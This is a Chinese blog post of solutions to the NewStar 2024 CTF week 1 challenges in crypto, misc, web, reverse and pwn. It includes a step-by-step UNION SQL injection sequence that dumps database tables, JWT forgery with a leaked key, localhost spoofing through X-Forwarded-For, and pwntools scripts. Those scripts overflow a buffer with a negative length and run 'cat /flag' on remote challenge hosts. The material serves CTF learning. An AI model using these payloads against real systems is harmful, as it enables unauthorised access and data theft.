首页 > 其他分享 >NewStar2024-week1

NewStar2024-week1

时间:2024-10-08 22:10:58浏览次数:8  
标签:bytes print flag NewStar2024 key week1 import data

前言:刚开始比赛,时间比较多尝试了一下所有题目,难度也很友好,之后就写密码了,写全部太累了

Week1

Crypto

Base

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

秒了

一眼秒了

p,q相近

或者factordb查

"""from Crypto.Util.number import *
from gmpy2 import *
from serct import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)"""
from Crypto.Util.number import *
from gmpy2 import *
n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

p=iroot(n,2)[0]
p=next_prime(p)
while n%p!=0:
    p=next_prime(p)

print(long_to_bytes(pow(c,invert(65537,p-1),p)))
#b'flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}'

xor

重新执行一遍就好

"""#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = b'New_Star_CTF'
flag='flag{*******************}'

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]

c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)
"""
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_long
key = b'New_Star_CTF'
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
print(long_to_bytes(c1 ^ bytes_to_long(key)))
print(xor(key,c2))
#flag{0ops!_you_know_XOR!}

Strange King

某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给

这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文

根据题目简介,一开始密钥为5,要取模

经过测试,密钥每次要+2

a="ksjr{EcxvpdErSvcDgdgEzxqjql}"

#print(ord('k'))
#print(ord('f'))

#print(ord('a'))
#print(ord('l'))

key=5
for i in a:
    if 'a'<=i<='z':
        print(chr((ord(i)-ord('a')-key)%26+ord('a')),end="")
    elif 'A'<=i<='Z':
        print(chr((ord(i)-ord('A')-key)%26+ord('A')),end="")
    else:
        print(i,end="")
    key+=2

Misc

兑换码

png改高

Labyrinth

stegsolve秒了

WhereIsFlag

一个个目录遍历就好了

在/proc/self/environ里

pleasingMusic

最后有摩斯电码

一首歌可以好听到正反都好听

根据题目介绍,逆一下就对了

decompress

7z打开一直往里走,最后得到一个真加密的压缩包

并获得提示:^([a-z]){3}\d[a-z]$

zip2john获取hash,根据提示hashcat爆破

Web

headach3

F12看响应头

会赢吗

第一部分F12查看源码,并获得第二部分地址

访问之后看源码可以得到一个函数revealFlag

根据提示在控制台输入并传递参数

测试一下就得到了第二部分flag

启动本地替代,修改对应源码位置

之后点击即可得到第三部分flag

将js代码里下面console.log的代码覆盖掉上面监听的代码,之后点击按钮即可。

最后base64解码即可

智械危机

看源码用cyberchef就可以了

(下图是cmd参数的值,把灰色点亮就是key的值)

谢谢皮蛋

sqli第二关,无闭合

# 确认回显位置
-1 union select 1,2--

# 查询数据库名
-1 union select 1,database() --

# 查询表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
# 得到表Fl4g

# 查询列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()--
# 得到列 id,des,value

# 查询值
-1 union select group_concat(value),group_concat(des) from Fl4g--

PangBai 过家家(1)

(从头梳理一遍,一开始就用bp抓包等着)

level1→level2

点击屏幕后等过场动画完,会发现从/start重定向回到了根目录

这时候的返回包里有location,这就是level2的地址

直接访问这个地址就会重新重定向到level2

(服务器是通过token中的jwt值来判断处在level几的)

level2→level3

将最新的包拉到Repeater去重新编辑发送

根据提示,使用GET请求,参数为ask,值为miao

当返回包为302响应时,才表示成功

之后要把右侧的token值覆盖掉原来的token,才能放问下一关

如下图,修改后重新发包即可

level3→level4

根据提示,使用POST提交数据

修改三处常规的即可

之后同上,修改token值

level4→level5

第一步,根据提示修改User-Agent的值,需要符合语法,需要加上版本号,这里随意数字(不一定需要小数点)

之后得到提示,需要说“玛卡巴卡阿卡哇卡米卡玛卡呣”,由于bp不好发中文,这里进行url编码再发送

成功

(之后记得修改token值)

level5→level6

之后按照提示,使用PATCH方法

(我不太懂,所以我交给了AI,具体修改内容如下

需要将Content-type修改为multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

之后在后面添加上原来的POST数据(不然Pangbai不让你过)

之后再添加上提示的内容(补丁包)

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="*.zip"
Content-Type: application/zip

naby
------WebKitFormBoundary7MA4YWxkTrZu0gW--

(成功之后记得修改token值)

level6

首先需要修改成localhost访问

添加参数X-forwarded-for:127.0.0.1

之后得到jwt加密密钥:Fo4iw52x6nYnonu2

(这就是密钥,前后的不是密钥缺失部分)

将我们已知token里的jwt拿去修改

JSON Web Tokens - jwt.io

测试一遍后是将level改成0即可

之后使用浏览器打开访问/start,hackbar改token发包就可以啦

Reverse

begin

简单题开始记事本大法,最后一个flag还是需要ida打开看函数名。

base64

这个就可以记事本大法了

可以才出来就是换表base64

Simple_encryption

很简单的加密逻辑,最后模256就好了

data=[0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28]

key=[0x1f,0x29,0x55]
for i in range(len(data)):
    if i%3==0:
        m=data[i]+key[i%3]
    elif i%3==1:
        m=data[i]-key[i%3]
    else:
        m=data[i]^key[i%3]
    print(chr(m%256),end="")

# flag{IT_15_R3Al1y_V3Ry-51Mp1e}

ezAndroidStudy

用jeb_pro打开。

上面搜索可以发现其实有多段flag,我们就带上数字搜

flag1

flag{Y0u

flag2

搜索flag2后,在这里看伪代码

后面注释得到flag2:_@r4

flag3

在flag2处可以发现剩下几个flag的提示,第三部分说是要去找布局

public static int third = 0x7F1200B6; // string:third "layout 就是布局的意思呢,/res/layout 里的带 Activity 字样的 xml 文件通常是用来描述一个 Activity的大体布局,你能找到布局里藏起来的 flag 吗喵?"

以压缩包形式打开apk,并解压里面的./res/layout

根据提示搜索Activity,看到有个main的,打开发现flag3: _900d

flag4

flag4在我们一开始搜索flag的时候就发现是一个文本,打开就是了

flag4: _andr01d

flag5

根据flag2找到的提示,需要逆向.so文件

string:fifth "安卓卓用到的可不只有 java 呢,你知道怎么逆向安卓的 so 文件吗喵"

搜索flag5可以发现使用的so文件

同样使用压缩包方式打开apk文件

在lib里可以找到.so文件

在对应文件里可有看到flag5: _r4V4rs4r}

最后拼接flag:flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

ez_debug

在right前面打个断点,之后按几次F8就可以查看到flag

Pwn

Real Login

直接登录输入密码就好了

Game

有限时,需要使用程序传数据

from pwn import *

r=remote("101.200.139.65",20967)

for i in range(999//9+1):
    r.sendline(b'9')
r.sendline(b'cat /flag')
print(r.recvline())

r.interactive()

overwrite

exeinfope打开看是64位的

int的nbytes最后被转成了unsigned int

我直接用负数打了

from pwn import *
from Crypto.Util.number import *

r=remote("39.106.48.123",41557)


r.recvuntil(b'readin: ')
r.sendline(str(-1).encode())

r.recvuntil(b'to say: ')
payload=b'a'*48+b'114515'

r.sendline(payload)

r.interactive()

gdb

用gdb调试运行之后可以得到最后的值4557455355431d5d,reverse一下就好了

from pwn import *
r=remote("8.147.132.32",16637)


payload=bytes.fromhex("4557455355431d5d")
r.recvuntil(b"data: ")
r.sendline(payload[::-1])

r.interactive()

标签:bytes,print,flag,NewStar2024,key,week1,import,data
From: https://www.cnblogs.com/naby/p/18453170

相关文章

  • 2024新生赛-Week1
    F12快捷键f12直接查看字符串xor了解一下XOR运算,AB=C,CA=B使用a数组对输入的字符进行循环运算取出最终的字符串再进行一次xor即可得到flagEzencode进入加密函数后发现是一个base64算法,对表进行了替换,最后有对编码得到的结果进行异或操作.提出最后的密文,进行异或,换表......
  • [SKSEC::CTF新生web专题训练赛] week1 writeup
    1.扫雷游戏(js)随便点格子,当点到第二个时,会判定踩雷失败,浏览器给出gameover的提示并刷新网页。F12从来源中找到saolei.js,找到gameover所在的函数if分支。if(block.isMine){block.innerHTML='......
  • 复健week1
    复健week1主要是字符串基础,都是以前做过的题。KMPLG3375【模板】KMP唯一没忘的东西,原理理解后比较简单,懒得详细写了。复杂度证明:\(j\)指针至多加\(n\)次,无法匹配后也至多回退\(n\)次。复杂度\(O(n)\)for(inti=2,j=0;i<=n;++i){while(j&&s[i]!=s[j+1])j=nxt[j];......
  • mini-lsm通关笔记Week1Day7
    Summary在上一章中,您已经构建了一个具有get/scan/put支持的存储引擎。在本周末,我们将实现SST存储格式的一些简单但重要的优化。欢迎来到Mini-LSM的第1周零食时间!在本章中,您将:在SST上实现布隆过滤器,并集成到LSM读路径get中。以SST块格式实现对key存储的压缩。要将测试用例......
  • mini-lsm通关笔记Week1Day6
    项目地址:https://github.com/skyzh/mini-lsm个人实现地址:https://gitee.com/cnyuyang/mini-lsmSummary在本章中,您将:使用L0flush实现LSM写路径。实现逻辑以正确更新LSM状态。要将测试用例复制到启动器代码中并运行它们,cargoxcopy-test--week1--day6cargoxsch......
  • mini-lsm通关笔记Week1Day5
    项目地址:https://github.com/skyzh/mini-lsm个人实现地址:https://gitee.com/cnyuyang/mini-lsmTask1-TwoMergeIterator在此任务中,您需要修改:src/iterators/two_merge_iterator.rs你已经在Week1Day2中实现了一个合并迭代器,它合并相同类型的迭代器(如:memtable迭代器)。既然......
  • BaseCTF2024-week1-Crypto部分题目wp
    先放一下官方的wp(我这里只放我出的题):Docs(feishu.cn)babypackfromCrypto.Util.numberimport*importrandomflag=b'BaseCTF{}'m=bytes_to_long(flag)bin_m=bin(m)[2:]length=len(bin_m)a=[1]sum=1foriinrange(length-1):temp=random.randint(2*sum+1,4*su......
  • NSSCTF [HNCTF 2022 Week1]Interesting_include
    <?php//WEB手要懂得搜索//flagin./flag.phpif(isset($_GET['filter'])){$file=$_GET['filter'];if(!preg_match("/flag/i",$file)){die("error");}include($file);}else{highlight_file(__......
  • mini-lsm通关笔记Week1Day4
    项目地址:https://github.com/skyzh/mini-lsm个人实现地址:https://gitee.com/cnyuyang/mini-lsmTask1-SSTBuilder在此任务中,您需要修改:src/table/builder.rssrc/table.rsSST由存储在磁盘上的数据块和索引块组成。通常,数据块都是懒加载的-直到用户发出请求,它们才会被加载......
  • 24暑集训Week1
    24暑集训Week1夜行的人,若你不唱歌的话,不惊醒这黑夜的话,就永远也走不出呼蓝别斯了。这重重的森林,这崎岖纤细的山路,这孤独疲惫的心。亲爱的,哪怕后来去到了城市,$$走$$夜路时也要大声地唱歌,像喝醉酒的人一样无所顾忌。大声地唱啊,让远方的大棕熊也听到了,也静静起身,为你在遥远的地......